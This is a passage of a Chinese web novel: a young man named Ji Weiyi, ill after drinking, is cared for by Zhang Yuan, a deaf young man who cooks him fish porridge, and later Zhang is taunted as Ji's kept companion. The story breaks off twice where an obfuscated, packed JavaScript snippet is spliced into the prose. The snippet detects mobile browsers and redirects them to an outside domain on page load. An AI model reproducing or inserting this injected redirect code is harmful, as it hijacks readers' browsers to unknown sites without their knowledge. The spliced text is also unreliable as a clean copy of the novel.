;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13742398|145165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阖的眼皮上颤动的睫毛。 他其实很讨厌喝醉的人，也很讨厌酒精。父母二人都是酒鬼，酒在他的童年生活里就意味着一边哭一边乱砸东西的妈和莫名其妙就要打他的爸。 尽管在很小的时候就听不到了，但哪怕骂声被消音，他还是能轻易地从父母的神态动作和弥漫在空气中的酒精味道里识别到紧张烦躁的气氛。 就算母亲很早去世，而父亲也很快就打不过他了，酒精挥发在空气中的味道依旧停留在张渊的记忆力，很容易地勾起他的不快。 但喝醉酒的季苇一和他过往在见过的人不一样，他比他们安静多了，只是看起来很难受又很委屈。 除了肚子痛，他想不出还能有什么会让季苇一这样的人感到委屈。 但很单纯的，这委屈莫名刺痛了他，他只想让那种神情尽快从对方脸上消失。 大概过了半个小时，张渊终于感觉手掌下的身体逐渐暖和起来，肌肉也不再那么紧绷。 他伸出一根手指，点在季苇一被自己咬得血淋淋的嘴唇上。 “破了。”张渊说。 刺痛让季苇一睁开眼睛，肚子没有那么痛了，他才觉出嘴唇受伤了。 张渊看着对方莫名幽怨的眼神，感觉到做错了什么事情一般把手挪开：“你要吃点东西。” 他顿了一下，又补充道：“不然肚子会一直痛。” 在张渊的观念里，肚子疼如果揉揉还不好，一般都是饿的。他有记忆以来就没怎么生过病，倒是经常挨饿。 季苇一也感觉到胃里空着绞痛，精神稍微好了一点，理智开始发挥作用。 他一直在吃抗凝的药物，哪怕现在毫无胃口，也知道空腹时间太久，确实有可能会消化道出血。 尽管如此他也不想吃——季苇一问张渊：“你晚上吃的什么？” “面饼。” “啊？” “方便面饼。”张渊看到季苇一满脸的困惑，只好放下他，把掰剩下一半的面饼拿来给他看。 季苇一问：“为什么吃这个？” 他以前跟组拍摄的时候其实也活得很不仔细，泡面是吃了不少的，但是干啃面饼这种行为对他而言还是过于生猛。以为是许琮没有给他安顿好：“家里没有别的东西吃？” “有，”张渊摇摇头，隔着塑料袋捏着他的面饼：“好吃。” 季苇一看着他手里的袋子思索片刻，油炸碳水散发出淡淡香气：“我也要吃。” 张渊犹豫了一下：他确实觉得这东西很好吃，但是据他所知，这东西不怎么好消化。 他觉得季苇一好像应该吃点清淡的东西。 然而季苇一又重复一次：“我也要吃。” 于是张渊轻易地屈服了，掰一小块递到季苇一嘴边：“硬。” 季苇一把那一小口面饼含进嘴里，嚼了一下，略带工业风格油脂的芳香在嘴里散开。他闻着虽然觉得很香，吃进嘴里，忽然恶心，一偏头全吐在垃圾桶里。 惊得张渊忙去给他拍背，好在就嚼了一下，吐也没什么好吐。 那股味道却一时粘在舌头上散不掉，季苇一把脸缩起来，摇摇头：“不好吃。” 他看着张渊，抿着嘴眨眨眼睛：“这个不好吃。” 张渊倍感困扰，他把面饼丢掉，又问：“你想吃什么？” “不知道。”季苇一冥思苦想半天，终于得出了他的答案：“不知道，我觉得饭都不好吃。” 张渊烦恼地站起来。 23.金主 季苇一瘫在沙发上，听着厨房里哗啦啦的水声，慢慢地重复着吞咽动作。 他依旧觉得很不舒服，把头枕高一点，才稍微缓解了胸闷，仍不得不靠口鼻一块儿呼吸。 呕吐对于他而言堪称剧烈运动，再加上那些已经进入血液循环的酒精，智能手表又开始不断地心率报警。 通常这种时候他都又怕声音又怕光，总把自己窝在不开灯的卧室里自闭。 但可能因为这间屋子的灯都是他当年自己挑的，颜色昏暗柔和。张渊不爱说话，动作干脆手脚又轻，唯一均匀的水声反倒让屋内越发安静。 潺潺的白噪音里，他忽然想起自己多年前的一部片子。 那是他学生时代非常粗糙的作品，纯是抱着瞎玩的心态，也无意花费太多。演职人员都是从学校里拉来的同学，除了摄影，几乎所有的后期都是他一个人完成的，钱也是他自己管。 三十分钟的家庭戏，所有的镜头都是在一间租来的小屋里拍的。 演员都青涩，半大的未出道的表演系学生，演爹妈的同演孩子的一样大。角色不吵架、不扇巴掌、不撕心裂肺的哭喊，平平淡淡的三十分钟，浸在略显寡淡的演技里，连他自己也承认无趣。 只有他当时班上一位经常打趣他是“有钱人家小少爷”的同学，看过片子之后忽然说：“像你这种人也会有家庭创伤啊？” 季苇一忘了当时怎么回答，只睁开眼盯着暖色的顶灯发呆。忽然想到他好像对家庭也不存在什么其他形式的幻想，如果不是季津说要结婚，他还真没打算要搬出去住。 最开始那两年也是抗议过的，只是那会儿身体的确虚弱，后来竟也习惯了，温水煮青蛙。 再柔和灯光也毕竟灯光，他不眨眼睛，很快就灼得眼泪顺着眼角淌下来。 然后有干燥的指腹擦过他的脸颊，季苇一猛然惊醒过来，看到张渊一脸严肃地蹲在沙发边上：“很疼？” ……那倒也不是。 季苇一赶紧在脸上胡乱地抹了，他这纯粹是发呆被灯烤的，然而觉得告诉张渊自己忘了眨眼也很丢大人的面子，总之勉勉强强靠坐起来：“好点了。” 张渊点点头，依旧用那副非常严肃的表情说：“做好了。” 季苇一试图站起来，脑袋离开平面，又觉得天旋地转。 张渊把他按回沙发上，塞两个抱枕垫高，转身回厨房端了碗粥出来。 季苇一眨眨眼：嚯。 生滚鱼片粥。 张渊拿汤勺搅合着，袅袅热气升腾，他模糊在水汽之后的脸上全是化不开的凝重，端着碗过来要递不递的样子：“可能，难吃。” 他实在很为难，自己本来就不会做饭——也不能说是完全不会，至少他每一顿都能把饭做熟，米饭不夹生，肉菜吃了也不会中毒，这对他来说已经是足够的厨艺。 但是给季苇一似乎就不行，毕竟季苇一说他觉得饭都难吃，而他做得饭本来也不好吃。 但是不吃饭人就会肚子痛，甚至会饿死。 他搜肠刮肚，终于想出来一个相对比较擅长的，其实也就是能做熟粥里不至于有鱼鳞的水平，但这道菜是冯帆教的。 他觉得冯帆既然能把季苇一喂饱，他爱做的菜季苇一说不定是会吃的。 季苇一看他小心翼翼的样子，大人的良知再度复苏，抱着只要不生理性反胃，好不好吃都得喝两口的心态去接那碗。 张渊不松手：“太抖了，拿不住。” 他说的是季苇一的手，边说边把碗往前送送。 季苇一也发觉手指实在很抖，顺从地接过勺子来舀了一口。 然后舀了第二勺。 张渊起先十分担心他要吐，看对方就这么一口一口吃起来了，才问：“好吃？” 季苇一朝他笑：“你自己没尝尝？” 其实也谈不上多么好吃，但米很柔软鱼也不腥，放了胡椒粉，热腾腾地落进胃里，不会觉得不舒服。 对于此刻的他而言，不想吐就算实属不易了。 张渊闻言，捧起碗埋头喝了一口，犹豫片刻：“没有冯叔做的好喝。” 提起冯帆，季苇一又想要叹气，但这次忍住了：“鱼不行，不是技术的问题。” 张渊便说：“冬天就有鱼了。” 季苇一心道这话之前好像就听过，但那鱼离了桦城几乎就吃不到，他又不可能真的为了一口鱼跑回桦城去。 他这人对食物的兴趣实在也没有很大。 边想边拿勺子又往自己嘴里塞了一口，吃到一半忽然愣住。 他跟张渊吃的是不是一碗来着？ 张渊一见他顿在那里，马上紧张起来，拽过垃圾桶递到他眼前：“想吐？” “没。”季苇一把那口粥生生咽下去，“吃饱了。” 他确实也不能吃太多，否则很容易觉得胀，顶着心口难受。 张渊捧着碗又往前递一递，似乎是有些劝他的意思：“不吃了？难吃？” 季苇一摆摆手：“吃不下了，不是难吃。” 下一秒钟，就看到张渊一仰头，把残存在碗里的粥直接倒进了自己嘴里。 “你——”季苇一愣住的一瞬间，张渊已经吃完了，抬起脸来看着他。 季苇一成功捕捉到他鼓着腮帮子瞪着一双黑眼睛的画面，脑海里莫名闪过“亲尝汤药”四个大字。 “你别呛着。”他说，然后忽然想，这个典故是不是二十四孝里头的来着？ 这种事就不能琢磨，一琢磨，他就感觉此时此刻的他和张渊，非常的……父慈子孝。 直接把便宜占到冯帆头上去了。 季苇一就笑，一笑气就有点不够喘，抚着胸口呼哧呼哧半天，沉默了一段时间的手机又响了。 还是季津。 季苇一接起来，身上没那么难受了，他终于有耐心说话：“嗯，哥。” 季津可能没想到他这遭语气又这么平静，愣了愣才接话：“你到底跑哪儿去了？” 季苇一看一眼已经去厨房刷碗的张渊：“在家里。” “什么在家里，你到底在谁家里？” “我自己家里，”季苇一说罢叹了口气，还是跟他解释了：“我和张渊在一起。” 季津之前听说过季苇一要让张渊搬到郊区的房子里来，一想那还真是他自己的房产，顿时没话可反驳：“你待着吧，我就过来接你。” “回去干嘛呢？”季苇一说：“爸妈生气，你也生气，我也生气，生气就睡不好，睡不好心脏难受。” 心脏难受这四个字在他这儿简直就是免罪金牌，季津果然犹豫了：“你在那儿没人照顾——” “张渊在。” 张渊这时已经洗了碗回来，似乎听到季苇一喊他的名字，不声不响地坐过来。 他对自己名字的发音要格外敏感些。 季苇一继续打电话：“我就待几天，大家都冷静一下再说。” 电话那头的季津陷入沉默，季苇一和他讲这几句，又觉得胃里隐隐开始不适，怕把刚喝下去的粥又吐出来，最后撂下一句“别来找我，不想吵架”就要挂断电话。 季津妥协了：“我明天叫人把你平时吃的药给你送过去。” “衣服也要，还有我卧室书架上从上往下数第三排左起有一本紫色封皮的书，直接送到公司去吧。”季苇一得寸进尺，在季津的“你就这么不想回家？”的嘟囔里挂断了电话。 回头看着张渊：“离家出走了，收留我一下。” 张渊说：“这是你的房子。” 这个回答让季苇一心情大好：“嗯，是我家。” 他整个人放松下来，身体往下滑，在沙发上挪动。 张渊走过来，看着他露在被子外面的那双脚，皮肤苍白，青色微微鼓起，就拿被子把他的脚裹住。 季苇一这时还没觉出有什么，一旦接受了父慈子孝这个设定，好像就可以顺理成章地享受张渊的照顾。 娃是妈妈的小棉袄，张渊当棉袄可能硬了点，当铁布衫倒也很不错。 不对，他拿谁比妈妈呢？ 正在这样想着，铁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13744812|145165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 布衫俯身，直接把他抱了起来。 “哎——”季苇一小小的惊呼，挣扎起来，张渊也不管他动不动，只收紧双臂确保他不会掉下去，走到卧室里将他放在床上。 季苇一看到他的破双肩包还放在屋里：“我去客卧也行。” 张渊不答话，转身出了门，再回来时手里拿了个盆和一杯水：“漱漱口。” 季苇一接过来，这下是真觉得有点不好意思，但还是顺从地照做了。 把水含进嘴里，发现居然是温热的。 太周到了——他鼓着腮帮子看张渊，顿时觉得反倒是张渊像他妈。 虽然丛然其实并不怎么真的照顾他的生活，只会使用钞能力。早先是把他送出去养，后来就花钱请阿姨在家。 照顾一个身体不好的小孩所要面对的麻烦远超一般人的想象，他父母短暂地努力过一阵，很快就发现还是工作更有成就感。 季苇一把漱口水吐在盆中，对张渊说：“今天麻烦你了，别忙了，去睡吧，我没事了。” 张渊看了他一会儿，点头说好，扭身走出去。 季苇一向来弄不清楚他每次都是在看什么，灯一关，倦意像潮水一样袭来。 一夜并未睡得沉，将醒未醒的过了五六个钟头，到了早上才熟睡了一会儿。 醒来时张渊已经走了，桌上留着早饭，一看就是在市场上买的。 他拿起包子来非常缓慢地咀嚼，在心里琢磨要不还是找家合口味的干净馆子，头天订好了叫他早上送来。 而早起离开的张渊已经过上了艺考生般的生活，反正有季苇一出钱，暂时还不着急开机的程秋给他排满了课，叫他去学手语学表演，甚至还要学一学怎么骑马。 好在这些涉及身体控制和记忆力的项目对张渊而言都不怎么难，手语记得很快，要上马也不怕。只是因为空旷的地方就更难听清别人说话，人坐在马背上时还要很努力的一心二用。 新手跟着跑了一下午，就算速度很慢，也难免觉得屁股硌得很痛。 一瘸一拐地来上最后一堂课，是程秋给他找的表演老师。 用对方的话来说，虽然她对张渊的演技没有太高的期待，但是他至少得知道自己究竟在做什么。 张渊心里微有一点忐忑，他对于要沟通的事情都没什么信心，又不想给季苇一丢人。 走到门口，正遇见上一堂课的两个年轻男孩走出来，十几二十岁的样子，头发吹得很精致。 看见他别别扭扭的走路姿势，忍不住回头多看他两眼。 其中一个低声说：“看见了吧，季总的人。” “哪个季总？” “季苇一啊，源海的那个小少爷，这几年到处投了不少钱。听说要把他塞给程秋，估计别的玩够了，要开始捧人玩了。” 那人似乎不知道从哪儿听得了一嘴关于张渊的传言，见同伴拉着自己示意别这么明目张胆，低声得瑟道：“没事，他听不见。你说有的人也真是好命，长得吧也谈不上多么惊世骇俗，还是个聋的，不知道那位季总是不是有点什么癖好。” 一抬眼，张渊已经站在他跟前了：“你说什么？” 他其实也没听到别的，只听见了“季苇一”。 但张渊脸上素来没有表情，哪怕是平静的说话，听上去也叫人觉出冷硬。 对面那人慌了，他太年轻，没有多少处事经验，轻率冲动。越是慌，越要虚张声势：“怎、怎么，季苇一不是你金主？” “金……主……”张渊把那两个字放在嘴里慢慢咬过：“什么意思？” 给他钱的意思？那好像也还真是。 但这话落在对面耳朵里就变了味，怎么听怎么像是在挑衅。 他一面怕张渊身上真有什么背景，回头告黑状。一面又觉得对方无非就是个抱大腿的，况且得罪人的话已经被听去了，现在服软恐怕也没用。 思来想去，觉得无论如何嘴上不能吃亏。他看了一眼张渊走路时一瘸一拐的姿势：“什么什么意思，你陪他睡觉的时候也问他什么意思？”